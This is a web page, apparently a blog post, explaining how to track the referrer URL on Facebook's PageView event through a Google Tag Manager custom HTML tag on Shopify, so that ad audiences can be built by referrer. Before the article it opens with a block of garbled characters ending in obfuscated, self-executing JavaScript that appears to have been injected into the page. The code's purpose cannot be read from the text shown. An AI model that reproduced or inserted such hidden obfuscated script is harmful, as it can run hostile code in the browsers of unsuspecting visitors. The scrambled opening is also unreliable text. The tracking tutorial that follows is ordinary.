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$2 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_$8Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();

How to Create a Custom Facebook Audience Based on Referral URL Using Shopify and Google Tag Manager

Custom Audience by Referrer URL events manager

It should be a standard feature in Facebook’s Business Manager–to be able to create a custom audience based on referrer url. But it’s not. And, it’s more complicated to do if you’re using Shopify and Google Tag Manager.

Custom Audience by Referrer URL 2020

If you’ve set up your Facebook pixel in Shopify using the Preferences then you’re already tracking Facebook’s standard events. But you’re not tracking the referrer parameter on the standard Pageview event. Referrer URL is a custom parameter that has to be added separately.

If you had installed the Facebook pixel manually in Shopify by adding it to your theme.liquid file and your checkout.liquid file (Shopify Plus) or Additional Scripts area, then you could just go into it and modify it with the JSON code below before the closing script tag.

  fbq(‘track’, ‘PageView’, {
referrer: document.referrer
});

You might be thinking: Why don’t I just remove the pixel from the Preferences area and install it manually, then?

That’s because if you’re using Google Tag Manager to manage other tags and don’t want them to stop firing, you can’t. Shopify documents that in order to use Google Tag Manager, you must be using their native integration for both.

Neither Facebook nor Google has documentation for what to do in this situation. Actually, some of their documentation is misleading. Facebook actually says that referrer is a standard parameter that is tracked when your pixel is initially set up. We reached out to support, and they apologized for the error in the post and said they would update it.

The Solution:

Inside Google Tag Manager, create a new tag with your standard Pageview trigger. The tag type will be custom HTML with the same script I referenced earlier.

Custom Audience by Referrer URL

Save the tag, re-publish your workspace and you’ll start seeing referrer data ONLY in Facebook’s Analytics area. Go to Analytics > Activity > Event Debugging. 

Custom Audience by Referrer URL  events manager

If you’re looking for the referrer data on your pixel overview screen, inside the pageview event details, you’ll see a warning message (below). That’s normal as this was a custom parameter, and this specific parameter can only be viewed in event debugging.

Custom Audience by Referrer URL custom data not displayed

But, what you will now notice is that when going to create a custom audience, if you select Website > From Your Events > Pageview, you can now refine by your custom parameter (referrer)–instead of just URL.

create a website custom audience

Now you can create custom audiences based on specific referrers and use those audiences in your ad campaigns.

It’s a simple solution that took way too long to get to. I hope it helps someone else out there, enjoy it.